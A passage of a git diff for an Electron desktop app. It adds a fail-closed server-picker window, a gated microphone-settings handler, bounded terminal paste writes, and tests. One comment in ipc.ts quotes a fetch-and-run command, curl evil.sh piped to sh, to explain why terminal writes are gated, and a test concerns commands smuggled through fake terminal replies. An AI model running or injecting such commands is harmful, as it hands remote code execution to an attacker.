to persist. + if (origin === settings.origin) { + return { ok: true, origin } + } settings.origin = origin // Not debounced: changing the origin tears the session down and // reloads, so a pending write could be lost on the way out — and this diff --git a/apps/desktop/src/main/index.ts b/apps/desktop/src/main/index.ts index cf82af3da67..8af9f55d550 100644 --- a/apps/desktop/src/main/index.ts +++ b/apps/desktop/src/main/index.ts @@ -51,6 +51,7 @@ import { openExternalSafe } from '@/main/navigation' import { createEventLog } from '@/main/observability' import { ScopedEventRouter } from '@/main/scoped-event-router' import { installGlobalGuards } from '@/main/security-guards' +import { createServerWindow, relaunchApp } from '@/main/server-window' import { createSessionLifecycleCoordinator, decideStartRoute, @@ -78,6 +79,7 @@ function reportHandoffFailure(error: unknown): void { } const OFFLINE_PAGE = 'static/offline.html' +const SERVER_PAGE = 'static/server.html' const DOCK_ICON_FOR_CHANNEL = { prod: 'dock-icon.png', staging: 'dock-icon-staging.png', @@ -473,6 +475,35 @@ function main(): void { }, }) + const serverWindow = createServerWindow({ + config, + defaultOrigin: DEFAULT_ORIGIN, + pagePath: SERVER_PAGE, + preloadPath, + isPackaged: app.isPackaged, + getParentWindow: getMainWindow, + clearDeploymentScopedState: async () => { + // allSettled, not sequential awaits: these are independent stores, and a + // rejection from the first must not skip the second — leaving the store + // that would have cleared fine still holding the outgoing deployment's + // access. Each failure is named so the picker can say what survived. + const stores = [ + { label: 'local file access', clear: () => localFilesystem.forgetAll() }, + { label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() }, + ] + const outcomes = await Promise.allSettled(stores.map((store) => store.clear())) + return outcomes.flatMap((outcome, index) => { + if (outcome.status === 'fulfilled') return [] + logger.error('Could not clear deployment-scoped state', { + store: stores[index].label, + error: getErrorMessage(outcome.reason), + }) + return [stores[index].label] + }) + }, + relaunch: relaunchApp, + }) + /** * Routes through the coordinator rather than tearing down directly: the * coordinator holds the in-progress guard, clears the same handoff and grant @@ -659,6 +690,11 @@ function main(): void { check: () => updater?.check(), install: () => updater?.install(), }, + server: { + open: () => serverWindow.open(), + getConfiguration: () => serverWindow.getConfiguration(), + setOrigin: (origin) => serverWindow.setOrigin(origin), + }, }) await ensureMainWindow() installApplicationMenu({ @@ -666,6 +702,7 @@ function main(): void { getMainWindow, allowHttpLocalhost, openSettings, + openServerSettings: () => serverWindow.open(), newWindow: () => void createAndLoadAppWindow(), newChat: () => void openMainWindowAt(newChatRoute(config.get('lastRoute'))), handleFocusedResourceShortcut: (win, shortcut) => diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts index c20e907e55d..72081c3e956 100644 --- a/apps/desktop/src/main/ipc.test.ts +++ b/apps/desktop/src/main/ipc.test.ts @@ -1,5 +1,6 @@ import { readFileSync } from 'node:fs' import { fileURLToPath } from 'node:url' +import { PASTE_LIMITS } from '@sim/utils/paste' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) @@ -130,7 +131,7 @@ import { } from '@/main/browser-import' import { getSearchSuggestions } from '@/main/browser-search/suggestions' import { trackInputActivity } from '@/main/input-activity' -import { type IpcDeps, registerIpcHandlers } from '@/main/ipc' +import { type IpcDeps, openMicrophoneSettings, registerIpcHandlers } from '@/main/ipc' import { LocalFilesystemService } from '@/main/local-filesystem' import { TerminalRegistry } from '@/main/terminal/registry' import { findCachedTerminalThemeProfile, listTerminalThemeProfiles } from '@/main/terminal-themes' @@ -316,6 +317,11 @@ describe('registerIpcHandlers', () => { check: vi.fn(), install: vi.fn(), }, + server: { + open: vi.fn(), + getConfiguration: vi.fn(() => ({ origin: APP, defaultOrigin: APP, isSimCloud: true })), + setOrigin: vi.fn(async () => ({ ok: true as const, origin: APP, unchanged: true })), + }, } registerIpcHandlers(deps) }) @@ -332,6 +338,26 @@ describe('registerIpcHandlers', () => { expect(shell.openExternal).toHaveBeenCalledTimes(1) }) + it('opens microphone privacy settings only for the trusted app origin', async () => { + const { invoke } = collectHandlers() + const handler = invoke.get('desktop:open-microphone-settings') + + expect(await handler?.(evilEvent)).toBe(false) + expect(await handler?.(appEvent)).toBe(process.platform === 'darwin') + expect(shell.openExternal).toHaveBeenCalledTimes(process.platform === 'darwin' ? 1 : 0) + }) + + it('uses fixed native microphone settings URLs', async () => { + await expect(openMicrophoneSettings('darwin')).resolves.toBe(true) + expect(shell.openExternal).toHaveBeenLastCalledWith( + 'x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone' + ) + + await expect(openMicrophoneSettings('win32')).resolves.toBe(true) + expect(shell.openExternal).toHaveBeenLastCalledWith('ms-settings:privacy-microphone') + await expect(openMicrophoneSettings('linux')).resolves.toBe(false) + }) + it('keeps live search suggestions behind the app origin and privacy preference', async () => { const { invoke } = collectHandlers() const handler = invoke.get('browser-agent:search-suggestions') @@ -1670,6 +1696,28 @@ describe('registerIpcHandlers', () => { expect(write).not.toHaveBeenCalled() }) + it('rejects an oversized terminal paste before writing to the PTY', async () => { + const { invoke } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1)) + + await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe( + 'too-large' + ) + expect(write).not.toHaveBeenCalled() + }) + + it('writes an admitted terminal paste in bounded chunks', async () => { + const { invoke } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + const text = 'x'.repeat(70 * 1024) + vi.mocked(clipboard.readText).mockReturnValue(text) + + await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true) + expect(write).toHaveBeenCalledTimes(2) + expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text) + }) + it('gates a command smuggled inside a fake OSC or DCS reply', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index b230af7ad4d..5f5d3f610fb 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -9,6 +9,8 @@ import { } from '@sim/browser-protocol' import { type DesktopNotificationPayload, + type DesktopServerChangeResult, + type DesktopServerConfiguration, type DesktopUpdateState, type DesktopWindowState, type DesktopZoomPercent, @@ -17,14 +19,17 @@ import { isDesktopZoomPercent, isPendingDesktopScopeId, } from '@sim/desktop-bridge' +import { createLogger } from '@sim/logger' import { isTerminalOperation, isTerminalToolName, type TerminalToolArgs, } from '@sim/terminal-protocol' +import { getErrorMessage } from '@sim/utils/errors' import { isRecordLike } from '@sim/utils/object' +import { PASTE_LIMITS, utf8ByteLength } from '@sim/utils/paste' import type { BrowserWindow, IpcMainEvent, IpcMainInvokeEvent, WebContents } from 'electron' -import { clipboard, ipcMain } from 'electron' +import { clipboard, ipcMain, shell } from 'electron' import { type BrowserToolQueueBoundary, cancelActiveTool, @@ -82,8 +87,51 @@ import type { ScopedEventRouter } from '@/main/scoped-event-router' import type { TerminalRegistry } from '@/main/terminal/registry' import { findCachedTerminalThemeProfile, listTerminalThemeProfiles } from '@/main/terminal-themes' +const logger = createLogger('DesktopIpc') + /** Workspace/chat ids are opaque tokens; anything else never reaches a URL. */ const ID_PATTERN = /^[A-Za-z0-9_-]{1,128}$/ +const TERMINAL_WRITE_CHUNK_CHARACTERS = 64 * 1024 + +function writeTerminalText( + terminal: TerminalRegistry, + scope: string, + terminalId: string, + text: string +): void { + let start = 0 + while (start < text.length) { + let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length) + const finalCode = text.charCodeAt(end - 1) + if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1 + terminal.write(scope, terminalId, text.slice(start, end)) + start = end + } +} + +const MICROPHONE_SETTINGS_URLS: Partial> = { + darwin: 'x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone', + win32: 'ms-settings:privacy-microphone', +} + +/** Opens the native microphone privacy pane without accepting a renderer-provided URL. */ +export async function openMicrophoneSettings( + platform: NodeJS.Platform = process.platform +): Promise { + const settingsUrl = MICROPHONE_SETTINGS_URLS[platform] + if (!settingsUrl) return false + + try { + await shell.openExternal(settingsUrl) + return true + } catch (error) { + logger.warn('Could not open microphone privacy settings', { + error: getErrorMessage(error), + platform, + }) + return false + } +} /** * Desktop state is partitioned by the existing chat id. A new-chat view uses @@ -301,6 +349,11 @@ export interface IpcDeps { check: () => void install: () => void } + server: { + open: () => void + getConfiguration: () => DesktopServerConfiguration + setOrigin: (origin: string) => Promise + } } /** @@ -620,6 +673,12 @@ export function registerIpcHandlers(deps: IpcDeps): void { handler: (url) => typeof url === 'string' ? openExternalSafe(url, deps.allowHttpLocalhost()) : false, }, + 'desktop:open-microphone-settings': { + kind: 'invoke', + gate: 'app-origin', + denied: false, + handler: () => openMicrophoneSettings(), + }, // OAuth connect handoff: the whole flow runs in the system browser (state // is cookie-bound to the initiating user agent), returning via loopback. 'desktop:oauth-connect': { @@ -1505,7 +1564,10 @@ export function registerIpcHandlers(deps: IpcDeps): void { if (!scope || typeof terminalId !== 'string') return false const text = clipboard.readText() if (!text) return false - deps.terminal.write(scope, terminalId, text) + if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) { + return 'too-large' + } + writeTerminalText(deps.terminal, scope, terminalId, text) return true }, }, @@ -1694,7 +1756,8 @@ export function registerIpcHandlers(deps: IpcDeps): void { handler: (sender, terminalId, data, rawScope) => { const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope) if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return - deps.terminal.write(scope, terminalId, data) + if (utf8ByteLength(data, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) return + writeTerminalText(deps.terminal, scope, terminalId, data) }, // An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`. // Panel focus is deliberately not used — `terminal:focused` is a @@ -1737,6 +1800,31 @@ export function registerIpcHandlers(deps: IpcDeps): void { passSender: true, handler: (sender) => deps.retryLoad(sender as WebContents), }, + // The `server:` family is local-page only, and deliberately so: the one + // surface that repoints the shell at another deployment must keep working + // when the current one is unreachable (the offline page is where a + // self-hoster with a typo'd origin actually lands), and must never be + // drivable by a page the current server serves. + 'server:open': { + kind: 'send', + gate: 'local-page', + handler: () => deps.server.open(), + }, + 'server:get-configuration': { + kind: 'invoke', + gate: 'local-page', + denied: null, + handler: () => deps.server.getConfiguration(), + }, + 'server:set-origin': { + kind: 'invoke', + gate: 'local-page', + denied: { ok: false, error: 'The server can only be changed from the Sim app itself.' }, + handler: (origin) => + typeof origin === 'string' + ? deps.server.setOrigin(origin) + : { ok: false, error: 'Server URL is required' }, + }, } const senderAllowed = (event: IpcMainEvent | IpcMainInvokeEvent, gate: ChannelGate): boolean => { diff --git a/apps/desktop/src/main/menu.test.ts b/apps/desktop/src/main/menu.test.ts index b98be440434..63dbc05357d 100644 --- a/apps/desktop/src/main/menu.test.ts +++ b/apps/desktop/src/main/menu.test.ts @@ -6,11 +6,11 @@ import { BrowserWindow, type MenuItemConstructorOptions } from 'electron' import type { ConfigStore } from '@/main/config' import { buildMenuTemplate, type MenuDeps } from '@/main/menu' -function makeDeps(): MenuDeps { +function makeDeps(origin = 'https://sim.ai'): MenuDeps { return { config: { filePath: '/tmp/settings.json', - getOrigin: vi.fn(() => 'https://sim.ai'), + getOrigin: vi.fn(() => origin), setOrigin: vi.fn(), get: vi.fn(() => undefined), set: vi.fn(), @@ -18,6 +18,7 @@ function makeDeps(): MenuDeps { getMainWindow: vi.fn(() => null), allowHttpLocalhost: vi.fn(() => false), openSettings: vi.fn(), + openServerSettings: vi.fn(), newWindow: vi.fn(), newChat: vi.fn(), handleFocusedResourceShortcut: vi.fn(() => false), @@ -51,6 +52,7 @@ describe('buildMenuTemplate', () => { expect(submenu(template, 'Sim').map((item) => item.label ?? item.role ?? item.type)).toEqual([ 'about', 'Settings…', + 'Server…', 'Check for Updates…', 'Sign Out', 'separator', @@ -105,6 +107,13 @@ describe('buildMenuTemplate', () => { expect(help.map((item) => item.label)).toEqual(['Sim Documentation', 'Sim Status']) }) + // status.sim.ai reports on Sim's deployments only, so it is worse than + // useless to an operator whose own server is the one that is down. + it('drops Sim status for a self-hosted server', () => { + const help = submenu(buildMenuTemplate(makeDeps('https://sim.example.com')), 'Help') + expect(help.map((item) => item.label)).toEqual(['Sim Documentation']) + }) + it('never exposes developer tools in the application menu', () => { const view = submenu(buildMenuTemplate(makeDeps()), 'View') expect(view.some((item) => item.role === 'toggleDevTools')).toBe(false) diff --git a/apps/desktop/src/main/menu.ts b/apps/desktop/src/main/menu.ts index d5594f2c5d1..4223e8a8b7b 100644 --- a/apps/desktop/src/main/menu.ts +++ b/apps/desktop/src/main/menu.ts @@ -1,6 +1,6 @@ import type { MenuItemConstructorOptions } from 'electron' import { app, BrowserWindow, Menu } from 'electron' -import type { ConfigStore } from '@/main/config' +import { type ConfigStore, isSimCloudOrigin } from '@/main/config' import { DOCS_URL, STATUS_URL } from '@/main/external-links' import { openExternalSafe } from '@/main/navigation' import type { @@ -15,6 +15,8 @@ export interface MenuDeps { getMainWindow: () => BrowserWindow | null allowHttpLocalhost: () => boolean openSettings: () => void + /** Opens the native server picker (see main/server-window.ts). */ + openServerSettings: () => void newWindow: () => void newChat: () => void /** @@ -155,6 +157,7 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] submenu: [ { role: 'about' }, { label: 'Settings…', accelerator: 'CmdOrCtrl+,', click: deps.openSettings }, + { label: 'Server…', click: deps.openServerSettings }, { label: 'Check for Updates…', click: deps.checkForUpdates }, { label: 'Sign Out', click: deps.signOut }, { type: 'separator' }, @@ -250,10 +253,16 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] label: 'Sim Documentation', click: () => void openExternalSafe(DOCS_URL, deps.allowHttpLocalhost()), }, - { - label: 'Sim Status', - click: () => void openExternalSafe(STATUS_URL, deps.allowHttpLocalhost()), - }, + // Omitted for a self-hosted shell, like the offline page's status + // button — see isSimCloudOrigin. + ...(isSimCloudOrigin(deps.config.getOrigin()) + ? [ + { + label: 'Sim Status', + click: () => void openExternalSafe(STATUS_URL, deps.allowHttpLocalhost()), + }, + ] + : []), ], }, ] diff --git a/apps/desktop/src/main/server-window.test.ts b/apps/desktop/src/main/server-window.test.ts new file mode 100644 index 00000000000..ced9788b13c --- /dev/null +++ b/apps/desktop/src/main/server-window.test.ts @@ -0,0 +1,206 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest' + +vi.mock('electron', () => import('@/test/electron-mock')) + +import type { ConfigStore, OriginValidation } from '@/main/config' +import { createServerWindow, type ServerWindowDeps } from '@/main/server-window' + +const CURRENT = 'https://sim.example.com' +const DEFAULT = 'https://www.sim.ai' + +function makeConfig(origin: string, validate: (raw: string) => OriginValidation): ConfigStore { + let stored = origin + return { + filePath: '/tmp/settings.json', + getOrigin: () => stored, + setOrigin: vi.fn((raw: string) => { + const result = validate(raw) + if (result.ok) stored = result.origin + return result + }), + get: vi.fn(() => undefined), + set: vi.fn(), + flush: vi.fn(), + } as unknown as ConfigStore +} + +function makeDeps(overrides: Partial = {}): ServerWindowDeps { + return { + config: makeConfig(CURRENT, (raw) => + raw.startsWith('https://') ? { ok: true, origin: raw } : { ok: false, error: 'bad origin' } + ), + defaultOrigin: DEFAULT, + pagePath: 'static/server.html', + preloadPath: '/tmp/preload.cjs', + isPackaged: false, + getParentWindow: () => null, + clearDeploymentScopedState: vi.fn(async (): Promise => []), + relaunch: vi.fn(), + ...overrides, + } +} + +describe('server window', () => { + let deps: ServerWindowDeps + + beforeEach(() => { + deps = makeDeps() + }) + + it('reports the configured origin alongside the build default', () => { + expect(createServerWindow(deps).getConfiguration()).toEqual({ + origin: CURRENT, + defaultOrigin: DEFAULT, + isSimCloud: false, + }) + }) + + // Drives whether the offline page offers Sim's status page, which describes + // only Sim's own deployments. + it('marks a sim.ai origin as Sim cloud', () => { + const cloud = makeDeps({ + config: makeConfig('https://www.sim.ai', (raw) => ({ ok: true, origin: raw })), + }) + + expect(createServerWindow(cloud).getConfiguration().isSimCloud).toBe(true) + }) + + it('relaunches after storing a different origin', async () => { + const result = await createServerWindow(deps).setOrigin('https://sim.other.example') + + expect(result).toEqual({ ok: true, origin: 'https://sim.other.example', unchanged: false }) + expect(deps.config.flush).toHaveBeenCalled() + expect(deps.relaunch).toHaveBeenCalledTimes(1) + }) + + // The saved route carries the previous deployment's workspace id, and + // resolveStartRoute only discards a route on a confirmed 403 — a fresh + // partition answers 401, so a kept route would survive onto the new server. + it('drops the saved route when the origin changes', async () => { + await createServerWindow(deps).setOrigin('https://sim.other.example') + + expect(deps.config.set).toHaveBeenCalledWith('lastRoute', undefined) + }) + + it('keeps the saved route when the origin is unchanged', async () => { + await createServerWindow(deps).setOrigin(CURRENT) + + expect(deps.config.set).not.toHaveBeenCalled() + }) + + // Re-confirming the pre-filled URL is the common case here. + it('does not relaunch when the origin is unchanged', async () => { + const result = await createServerWindow(deps).setOrigin(CURRENT) + + expect(result).toEqual({ ok: true, origin: CURRENT, unchanged: true }) + expect(deps.relaunch).not.toHaveBeenCalled() + }) + + // Filesystem grants and the agent browser's jar are device-global with no + // origin key, so without this the incoming deployment inherits directory + // access and live third-party sessions the user granted the outgoing one. + it('clears deployment-scoped capabilities before relaunching', async () => { + await createServerWindow(deps).setOrigin('https://sim.other.example') + + expect(deps.clearDeploymentScopedState).toHaveBeenCalledTimes(1) + expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan( + vi.mocked(deps.relaunch).mock.invocationCallOrder[0] + ) + }) + + it('does not clear them when the origin is unchanged', async () => { + await createServerWindow(deps).setOrigin(CURRENT) + + expect(deps.clearDeploymentScopedState).not.toHaveBeenCalled() + }) + + // The picker re-enables its button while a request is pending, and the IPC + // boundary is reachable regardless of what the page does, so the transaction + // has to be serialized here rather than in the renderer. + it('refuses a second change while one is in flight', async () => { + let release: (() => void) | undefined + const gate = new Promise((resolve) => { + release = resolve + }) + const slow = makeDeps({ + clearDeploymentScopedState: vi.fn(async (): Promise => { + await gate + return [] + }), + }) + const handle = createServerWindow(slow) + + const first = handle.setOrigin('https://sim.other.example') + const second = await handle.setOrigin('https://sim.third.example') + + expect(second).toMatchObject({ ok: false }) + expect(second).toHaveProperty('error', expect.stringContaining('already in progress')) + release?.() + await expect(first).resolves.toMatchObject({ ok: true, unchanged: false }) + expect(slow.relaunch).toHaveBeenCalledTimes(1) + expect(slow.config.setOrigin).toHaveBeenCalledTimes(1) + expect(slow.config.setOrigin).toHaveBeenCalledWith('https://sim.other.example') + }) + + // The guard must not latch: a refused change has to leave the picker usable. + it('allows a later change once the first has settled', async () => { + const failing = makeDeps({ + clearDeploymentScopedState: vi.fn(async () => ['local file access']), + }) + const handle = createServerWindow(failing) + + await handle.setOrigin('https://sim.other.example') + const second = await handle.setOrigin('https://sim.third.example') + + expect(second).toMatchObject({ ok: false }) + expect(second).toHaveProperty('error', expect.stringContaining('local file access')) + }) + + // Fail closed. A store that could not be emptied is access the incoming + // deployment would inherit and that startup would restore, so the change is + // refused outright — and because nothing is persisted until the teardown + // succeeds, refusing leaves the shell exactly where it was. + it('refuses the change when a store could not be cleared', async () => { + const failing = makeDeps({ + clearDeploymentScopedState: vi.fn(async () => ['local file access']), + }) + + const result = await createServerWindow(failing).setOrigin('https://sim.other.example') + + expect(result).toMatchObject({ ok: false }) + expect(result).toHaveProperty('error', expect.stringContaining('local file access')) + // The stores clear independently, so the other one may already be empty and + // cannot be restored. Naming only the failure would read as "nothing + // happened", which is not what happened. + expect(result).toHaveProperty('error', expect.stringContaining('may already have been cleared')) + expect(failing.relaunch).not.toHaveBeenCalled() + expect(failing.config.setOrigin).not.toHaveBeenCalled() + expect(failing.config.getOrigin()).toBe(CURRENT) + }) + + it('refuses the change when the teardown throws outright', async () => { + const throwing = makeDeps({ + clearDeploymentScopedState: vi.fn(async () => { + throw new Error('keychain unavailable') + }), + }) + + const result = await createServerWindow(throwing).setOrigin('https://sim.other.example') + + expect(result).toMatchObject({ ok: false }) + expect(throwing.relaunch).not.toHaveBeenCalled() + expect(throwing.config.getOrigin()).toBe(CURRENT) + }) + + // Validated up front with the shell's own rule, before anything is torn down + // or written, so a typo costs nothing. + it('surfaces a rejected origin without tearing anything down', async () => { + const result = await createServerWindow(deps).setOrigin('ftp://sim.example.com') + + expect(result).toMatchObject({ ok: false }) + expect(result).toHaveProperty('error', expect.stringContaining('HTTPS')) + expect(deps.clearDeploymentScopedState).not.toHaveBeenCalled() + expect(deps.relaunch).not.toHaveBeenCalled() + expect(deps.config.getOrigin()).toBe(CURRENT) + }) +}) diff --git a/apps/desktop/src/main/server-window.ts b/apps/desktop/src/main/server-window.ts new file mode 100644 index 00000000000..03d6eb003b5 --- /dev/null +++ b/apps/desktop/src/main/server-window.ts @@ -0,0 +1,242 @@ +import type { DesktopServerChangeResult, DesktopServerConfiguration } from '@sim/desktop-bridge' +import { createLogger } from '@sim/logger' +import { getErrorMessage } from '@sim/utils/errors' +import { app, BrowserWindow, nativeTheme, session } from 'electron' +import type { ConfigStore, DesktopSettings } from '@/main/config' +import { canonicalOrigin, isSimCloudOrigin, validateOriginInput } from '@/main/config' +import { + backgroundColorFor, + createSecureWebPreferences, + setupPermissionHandlers, +} from '@/main/window' + +const logger = createLogger('DesktopServerWindow') + +const WINDOW_WIDTH = 520 +const WINDOW_HEIGHT = 340 + +/** + * The partition the server-selection window runs in. + * + * Deliberately NOT the app session's partition. This window exists to move the + * shell between deployments, so binding it to the partition of the deployment + * being left would tie the escape hatch to the state it is escaping — and the + * page is a bundled `file:` document that stores nothing, so it has no reason + * to touch a persistent jar at all. + */ +const SERVER_WINDOW_PARTITION = 'server-selection' + +/** + * Settings that describe the deployment rather than the device, and so must not + * survive a move to a different one. The home for this rule: `DesktopSettings` + * is a single global record with no per-origin namespace, so anything added + * there that names a Sim resource belongs in this list. + * + * `lastRoute` carries a workspace id in its path, so keeping it would open + * `/workspace/` on the new server. `resolveStartRoute` cannot rescue + * that: it discards a route only on a confirmed 403, and a fresh partition has + * no session, so the new server answers 401 and the stale route survives the + * probe. `browserKnownSites` describes the agent-browser profile that + * {@link ServerWindowDeps.clearDeploymentScopedState} clears, and is dropped + * with it so Sim is never left believing in sign-ins the profile no longer has. + */ +const ORIGIN_SCOPED_SETTINGS: readonly (keyof DesktopSettings)[] = [ + 'lastRoute', + 'browserKnownSites', +] + +export interface ServerWindowDeps { + config: ConfigStore + defaultOrigin: string + /** The bundled page to load, resolved by the caller like the offline page. */ + pagePath: string + preloadPath: string + isPackaged: boolean + getParentWindow: () => BrowserWindow | null + /** + * Drops the capabilities the OUTGOING deployment was granted, and reports + * what it could not drop. + * + * Local-filesystem grants and the agent browser's cookie jar live in + * device-global stores with no origin key, and both are capabilities the user + * handed to a specific Sim server: directories its agent may read, and live + * third-party sessions its agent may drive. Carrying them across would let + * the next deployment act with authority it was never given — which is why + * sign-out clears exactly this pair. + * + * Returns the human-readable name of each store that survived; empty means + * everything is gone. Reporting rather than throwing is what lets one store's + * failure not hide another's, and lets the caller refuse to move. + */ + clearDeploymentScopedState: () => Promise + /** + * Relaunches the shell against the newly stored origin. A full restart rather + * than an in-place swap: the origin decides the cookie partition, the update + * feed, the encrypted per-origin task state, and the identity every live + * browser view and PTY was opened under. Nothing in the app exposes a reset + * for that set — `ensureAppSession` and the partition cache are one-way + * memoizations, and the sign-out coordinator revokes server-side, which is + * wrong here (the old server's session should stay valid). The quit path + * already performs the orderly teardown, so relaunching reuses it. + */ + relaunch: () => void +} + +export interface ServerWindowHandle { + open(): void + getConfiguration(): DesktopServerConfiguration + setOrigin(origin: string): Promise +} + +/** + * The native server picker: how a self-hosted operator points the shell at + * their own deployment. + * + * Native rather than a page in the web app, because the web app is served BY + * the origin being changed. Someone whose stored origin is unreachable — a + * typo, a VPN-only host, an instance that moved — can never reach an in-app + * settings route to fix it, which is exactly when they need this most. The + * same reasoning gates its IPC channels to bundled `file:` senders. + */ +export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle { + let win: BrowserWindow | null = null + /** + * Serializes the destructive part of a change, the way the sign-out + * coordinator guards its own teardown. The picker re-enables its button + * while a request is pending, and the IPC boundary is reachable regardless + * of what the page does, so without this two changes could interleave their + * teardown and their write and let the later write pick the next server. + */ + let changeInFlight = false + + const getConfiguration = (): DesktopServerConfiguration => { + const origin = deps.config.getOrigin() + return { origin, defaultOrigin: deps.defaultOrigin, isSimCloud: isSimCloudOrigin(origin) } + } + + const close = (): void => { + if (win && !win.isDestroyed()) { + win.destroy() + } + win = null + } + + const open = (): void => { + if (win && !win.isDestroyed()) { + win.show() + win.focus() + return + } + const parent = deps.getParentWindow() + // Every other session in the app installs a permission handler; without one + // Electron decides for itself what a page may ask the OS for. The page here + // asks for nothing, and a foreign origin can never load in this window, so + // the shared handler resolves to a deny-all — which is the intent. + setupPermissionHandlers(session.fromPartition(SERVER_WINDOW_PARTITION), deps.config.getOrigin) + win = new BrowserWindow({ + width: WINDOW_WIDTH, + height: WINDOW_HEIGHT, + resizable: false, + minimizable: false, + maximizable: false, + fullscreenable: false, + title: 'Sim Server', + titleBarStyle: 'hiddenInset', + show: false, + // System preference only, unlike the main window: that one pre-paints for + // the web app it is about to load, whose theme the user picked in Sim. + // This window loads a bundled page that follows `prefers-color-scheme`, + // so honouring the stored web-app theme here would pre-paint dark behind + // a page about to render light whenever the two disagree. + backgroundColor: backgroundColorFor(undefined, nativeTheme.shouldUseDarkColors), + // Modal only when there is a live parent to attach to. A shell whose + // window is gone (or never opened, because the origin failed to load) + // still has to be able to reach this. + ...(parent && !parent.isDestroyed() ? { parent, modal: true } : {}), + webPreferences: createSecureWebPreferences( + SERVER_WINDOW_PARTITION, + deps.preloadPath, + deps.isPackaged + ), + }) + win.once('ready-to-show', () => { + win?.show() + }) + win.on('closed', () => { + win = null + }) + void win.loadFile(deps.pagePath).catch((error) => { + logger.error('Could not open the server window', { error: getErrorMessage(error) }) + }) + } + + const setOrigin = async (raw: string): Promise => { + const validated = validateOriginInput(raw) + if (!validated.ok) { + return validated + } + // Same canonicalization the store applies, so the comparison below matches + // what would actually be written. + const origin = canonicalOrigin(validated.origin) + const current = deps.config.getOrigin() + if (origin === current) { + // Nothing moves, so nothing is torn down. Relaunching anyway would make + // "confirm the URL I already use" restart the app for no reason. + return { ok: true, origin, unchanged: true } + } + + if (changeInFlight) { + return { ok: false, error: 'A server change is already in progress.' } + } + changeInFlight = true + try { + // Fail closed, and clear BEFORE persisting. If a store cannot be emptied, + // the shell must not move: the incoming deployment would otherwise + // inherit folder grants and authenticated browser sessions the outgoing + // one was given, and they are restored on the next startup. Nothing has + // been written at this point, so refusing leaves the shell on the server + // it was already using rather than half-applying the change. + const surviving = await deps.clearDeploymentScopedState().catch((error) => { + logger.error('Deployment-scoped teardown threw', { error: getErrorMessage(error) }) + return ['local file access and built-in browser sessions'] + }) + if (surviving.length > 0) { + logger.error('Refusing to change server; deployment-scoped state survived', { surviving }) + // Deliberately describes the whole teardown, not just what failed. The + // stores clear independently, so one may already be empty by now, and + // there is nothing to roll back to — a revoked cookie jar and deleted + // security-scoped bookmarks cannot be un-deleted. Saying "some may have + // been cleared" is the honest account, and a retry is safe: clearing an + // already-empty store succeeds, so it finishes the job rather than + // repeating it. + return { + ok: false, + error: `Could not clear ${surviving.join(' or ')} from the current server, so the server was not changed. Some local access may already have been cleared. Try again to finish, or sign out first.`, + } + } + + logger.info('Server origin changed; relaunching', { from: current, to: origin }) + deps.config.setOrigin(raw) + for (const key of ORIGIN_SCOPED_SETTINGS) { + deps.config.set(key, undefined) + } + // setOrigin writes through immediately; the clears above are debounced + // like every other setting. `before-quit` flushes too, but doing it here + // keeps the write independent of the Electron quit sequence. + deps.config.flush() + close() + deps.relaunch() + return { ok: true, origin, unchanged: false } + } finally { + changeInFlight = false + } + } + + return { open, getConfiguration, setOrigin } +} + +/** Restarts the process in place. Split out so tests can drive the seam. */ +export function relaunchApp(): void { + app.relaunch() + app.quit() +} diff --git a/apps/desktop/src/preload/index.test.ts b/apps/desktop/src/preload/index.test.ts index 42cab747db4..4780e720e1e 100644 --- a/apps/desktop/src/preload/index.test.ts +++ b/apps/desktop/src/preload/index.test.ts @@ -45,4 +45,21 @@ describe('desktop preload bridge', () => { ['desktop:settings:set-browser-search-suggestions', false], ]) }) + + it('exposes native microphone settings only on supported platforms', async () => { + const exposed = exposeInMainWorld.mock.calls.find(([name]) => name === 'simDesktop')?.[1] as + | SimDesktopApi + | undefined + if (!exposed) throw new Error('Expected the desktop preload API to be exposed') + + const isSupportedPlatform = process.platform === 'darwin' || process.platform === 'win32' + expect(typeof exposed.openMicrophoneSettings).toBe( + isSupportedPlatform ? 'function' : 'undefined' + ) + + if (isSupportedPlatform) { + await exposed.openMicrophoneSettings?.() + expect(invoke).toHaveBeenLastCalledWith('desktop:open-microphone-settings') + } + }) }) diff --git a/apps/desktop/src/preload/index.ts b/apps/desktop/src/preload/index.ts index afe84f2a42e..4e294b4af47 100644 --- a/apps/desktop/src/preload/index.ts +++ b/apps/desktop/src/preload/index.ts @@ -33,6 +33,8 @@ import type { DesktopOAuthConnectScope, DesktopPreferenceKey, DesktopPreferences, + DesktopServerChangeResult, + DesktopServerConfiguration, DesktopUpdateState, DesktopWindowState, DesktopZoomPercent, @@ -112,6 +114,12 @@ function shellVersion(): string { const api: SimDesktopApi = { version: 